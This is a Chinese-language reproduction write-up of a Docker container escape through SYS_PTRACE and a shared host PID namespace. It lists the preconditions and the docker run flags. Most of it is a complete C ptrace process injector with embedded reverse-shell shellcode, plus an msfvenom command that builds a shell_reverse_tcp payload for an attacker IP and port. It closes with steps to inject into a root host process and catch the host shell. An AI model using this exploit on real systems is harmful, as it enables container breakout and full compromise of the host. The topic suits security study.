一、产生原因
用户授予了容器SYS_PTRACE权限,并且与宿主机共享一个进程命名空间(--pid=host),使得容器内可以查看到宿主机的进程,攻击者可以利用进程注入,反弹shell,从而实现逃逸
二、利用条件
1、容器有SYS_PTRACE权限
2、与宿主机共享一个进程命名空间
3、容器以root权限运行
三、复现过程
1、创建容器,授予SYS_PTRACE权限,以host进程模式运行
注意我这里用的是CentOS,如果是Ubuntu可能会有安全设置选项,需要将安全设置选项设置为
apparmor=unconfined
docker run -itd --pid=host --cap-add=SYS_PTRACE ubuntu:18.04
进入容器,查看当前进程,可以看到宿主机的进程
2、进程注入
https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
#define SHELLCODE_SIZE 87
unsigned char *shellcode =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x48\xb9\x02\x00\x09\x1d\xc0\xa8\xef\x81\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05";
int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
for (i = 0; i < len; i+=4, s++, d++)
{
if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
{
perror ("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
int
main (int argc, char *argv[])
{
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2)
{
fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
exit (1);
}
target = atoi (argv[1]);
printf ("+ Tracing process %d\n", target);
if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(ATTACH):");
exit (1);
}
printf ("+ Waiting for process...\n");
wait (NULL);
printf ("+ Getting Registers\n");
if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
/* Inject code into current RPI position */
printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
printf ("+ Run it!\n");
if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(DETACH):");
exit (1);
}
return 0;
}
这里的shellcode我用的是msf生成的
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.239.129 LPORT=2333 -f c
gcc编译
gcc inject.c -o inject
这里容器内可能没有gcc环境,做实验的话我们就可以直接在容器外编译好然后复制进容器内
docker cp inject 2b9158cdb3e5:/
3、运行进程注入代码,msf监听
注意这里记得修改成自己的ip和端口
运行inject,ps -ef查看宿主机有哪些进程,选择一个以root身份运行的进程
成功反弹宿主机shell